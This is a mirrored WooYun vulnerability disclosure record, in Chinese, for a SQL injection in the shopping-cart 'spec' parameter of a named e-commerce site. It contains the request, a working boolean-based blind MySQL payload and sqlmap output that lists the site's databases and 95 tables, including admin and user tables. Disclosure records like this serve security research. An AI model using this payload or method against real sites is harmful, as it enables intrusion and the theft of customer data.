乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-06: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-12-21: 厂商已经主动忽略漏洞,细节向公众公开
~~~~~
http://www.laoyouka.com:80/flow.php?step=add_to_cart goods={goods_id:359,number:2,parent:0,quick:1,spec:[*],yijian:1}
post提交 spec:[*] 问题~
sqlmap identified the following injection points with a total of 42 HTTP(s) requests:---Parameter: #1* ((custom) POST) Type: boolean-based blind Title: MySQL >= 5.0 boolean-based blind - Parameter replace Payload: goods={"goods_id":359,"number":2,"parent":0,"quick":1,"spec":["(SELECT (CASE WHEN (1874=1874) THEN 1874 ELSE 1874*(SELECT 1874 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"],"yijian":1}---web application technology: PHP 5.2.17back-end DBMS: MySQL 5.0sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: #1* ((custom) POST) Type: boolean-based blind Title: MySQL >= 5.0 boolean-based blind - Parameter replace Payload: goods={"goods_id":359,"number":2,"parent":0,"quick":1,"spec":["(SELECT (CASE WHEN (1874=1874) THEN 1874 ELSE 1874*(SELECT 1874 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"],"yijian":1}---web application technology: PHP 5.2.17back-end DBMS: MySQL 5.0available databases [2]:[*] information_schema[*] laoyouka_laosqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: #1* ((custom) POST) Type: boolean-based blind Title: MySQL >= 5.0 boolean-based blind - Parameter replace Payload: goods={"goods_id":359,"number":2,"parent":0,"quick":1,"spec":["(SELECT (CASE WHEN (1874=1874) THEN 1874 ELSE 1874*(SELECT 1874 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"],"yijian":1}---web application technology: PHP 5.2.17back-end DBMS: MySQL 5.0Database: laoyouka_lao[95 tables]+-----------------------------------+| oldfriendcard_account_log || oldfriendcard_ad || oldfriendcard_ad_custom || oldfriendcard_ad_position || oldfriendcard_admin_action || oldfriendcard_admin_jianyi || oldfriendcard_admin_log || oldfriendcard_admin_message || oldfriendcard_admin_user || oldfriendcard_adsense || oldfriendcard_affiliate_log || oldfriendcard_agency || oldfriendcard_area_region || oldfriendcard_article || oldfriendcard_article_cat || oldfriendcard_attribute || oldfriendcard_auction_log || oldfriendcard_auto_manage || oldfriendcard_back_goods || oldfriendcard_back_order || oldfriendcard_black_list || oldfriendcard_bonus_type || oldfriendcard_booking_goods || oldfriendcard_brand || oldfriendcard_card || oldfriendcard_cart || oldfriendcard_cat_recommend || oldfriendcard_category || oldfriendcard_collect_goods || oldfriendcard_comment || oldfriendcard_crons || oldfriendcard_delivery_goods || oldfriendcard_delivery_order || oldfriendcard_email_list || oldfriendcard_email_sendlist || oldfriendcard_error_log || oldfriendcard_exchange_goods || oldfriendcard_favourable_activity || oldfriendcard_feedback || oldfriendcard_friend_link || oldfriendcard_goods || oldfriendcard_goods_activity || oldfriendcard_goods_article || oldfriendcard_goods_attr || oldfriendcard_goods_cat || oldfriendcard_goods_gallery || oldfriendcard_goods_type || oldfriendcard_group_goods || oldfriendcard_kcard || oldfriendcard_keywords || oldfriendcard_link_goods || oldfriendcard_mail_templates || oldfriendcard_member_price || oldfriendcard_nav || oldfriendcard_newmember || oldfriendcard_order_action || oldfriendcard_order_goods || oldfriendcard_order_info || oldfriendcard_order_ip || oldfriendcard_pack || oldfriendcard_package_goods || oldfriendcard_pay_log || oldfriendcard_payment || oldfriendcard_plugins || oldfriendcard_reg_extend_info || oldfriendcard_reg_fields || oldfriendcard_region || oldfriendcard_role || oldfriendcard_searchengine || oldfriendcard_sessions || oldfriendcard_sessions_data || oldfriendcard_shipping || oldfriendcard_shipping_area || oldfriendcard_shop_config || oldfriendcard_snatch_log || oldfriendcard_stats || oldfriendcard_suppliers || oldfriendcard_tag || oldfriendcard_template || oldfriendcard_topic || oldfriendcard_user_account || oldfriendcard_user_address || oldfriendcard_user_bonus || oldfriendcard_user_feed || oldfriendcard_user_login || oldfriendcard_user_new || oldfriendcard_user_rank || oldfriendcard_users || oldfriendcard_virtual_card || oldfriendcard_volume_price || oldfriendcard_vote || oldfriendcard_vote_log || oldfriendcard_vote_option || oldfriendcard_wholesale || oldfriendcard_wubao |+-----------------------------------+
未能联系到厂商或者厂商积极拒绝